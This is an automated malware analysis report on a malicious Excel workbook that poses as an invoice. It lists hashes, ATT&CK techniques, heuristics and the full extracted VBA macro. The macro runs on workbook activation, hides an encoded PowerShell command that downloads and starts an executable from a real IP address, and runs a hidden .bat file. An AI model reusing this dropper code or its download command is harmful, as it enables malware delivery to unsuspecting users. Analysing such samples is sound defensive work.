Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3221be6354502ed0…

MALICIOUS

Office (OOXML)

22.5 KB Created: 2021-11-10 10:25:01 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-23
MD5: c5d51d7374c5d5bd0fd41b3a18b6f812 SHA-1: ce1380a434e226db02e8a52b3455aadf5646b49d SHA-256: 3221be6354502ed02ae580d62fe28b60e1fd40a6eec2e37dbec6c78872a3c156
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. A critical heuristic detected the use of the Shell() function within the VBA code. The VBA script attempts to download a second-stage payload (ConsoleApp17.exe) from the URL "http://84.252.121.97/nus/ConsoleApp17.exe" using PowerShell and save it as "Qflmxqlknwnydcyltyl.bat" before execution. The document body presents a fake invoice lure to encourage user interaction.

Heuristics 3

  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2483 bytes
SHA-256: 9632e5ccb1fa95a1d3f562505d8032a78717c5695e99a74ad375fb8dcc9c1f43
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Function Prefix3() As String
Dim x As String
Dim s As String
s = " cne- 1 niw- exe.llehsrewop\0.1"
s = s + "v\llehSrewoPswodniW\23metsyS\swodniW\:C"
x = StrReverse(s)
Prefix3 = x
End Function


Private Sub Workbook_Activate()
Prefix0
End Sub

Private Function Prefix2() As String
Dim text As String

text = text + "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBLAGQAZABiAGoAcABtAG0AdgBhA"
text = text + "HEAeAB6AHAAeQBiAGQAdwBxAHYAdgB2AHYALgBlAHgAZQAiADsAKABOAGUAdw"
text = text + "AtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEM"
text = text + "AbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0"
text = text + "AHQAcAA6AC8ALwA4ADQALgAyADUAMgAuADEAMgAxAC4AOQA3AC8AbgB1AHMAL"
text = text + "wBDAG8AbgBzAG8AbABlAEEAcABwADEANwAuAGUAeABlACIALAAiACQAZQBuAH"
text = text + "YAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB"
text = text + "0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAA"
text = text + "RABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA="


Prefix2 = text 
End Function


Private Function Prefix1() As String
Dim x As String
x = x + "st"
x = x + "art "
x = x + "/M" + "I" + "N "

Prefix1 = x
End Function

Private Sub Worksheet_PivotTableAfterValueChange(ByVal TargetPivotTable As PivotTable, ByVal TargetRange As Range)

End Sub

Private Sub Prefix0()
On Error Resume Next
ActiveWorkbook.Save
Dim bat As String
bat = "Qflmxqlknwnydcyltyl.bat"
Dim d As Double
Dim text As String
text = Prefix1() + Prefix3() + Prefix2()
Open bat For Output As #1
    Print #1, text
    Close #1
    d = Shell(bat, 0)
End Sub

Attribute VB_Name = "Table 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 6144 bytes
SHA-256: 1baa73f377fcb3e41f7d0c1721d9f36f6ac866a31e199e54bd728491610f55e5